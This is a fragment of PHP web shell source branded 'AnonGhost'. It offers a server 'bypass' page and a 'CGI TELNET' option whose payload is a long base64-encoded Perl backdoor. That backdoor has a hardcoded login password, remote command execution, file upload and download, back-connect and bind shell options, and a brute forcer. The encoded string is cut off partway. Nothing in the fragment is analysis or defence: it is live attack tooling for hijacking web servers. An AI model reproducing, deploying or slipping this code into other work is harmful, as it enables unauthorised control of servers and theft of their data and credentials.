echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Bypass LiteSpeed - Apache - Nginx</span><br><div class=content> <iframe src=apngi.php width=80% height=70% frameborder=0></iframe>"; }
/////////////////////// CGI TELNET ////////////////////////
	elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi'))
    {
$agcgi14 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICM1OEZBRjQ7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGMDAwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI0ZGMDAwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjNThGQUY0OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICM1OEZBRjQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tWyAgJEVkaXRQZXJzaW9uIF0tLW88L2ZvbnQ+PC9iPg0KCTwvdGQ+DQoJPHRkPg0KCQkkaW5mbw0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNGRjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCiRpZA0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCi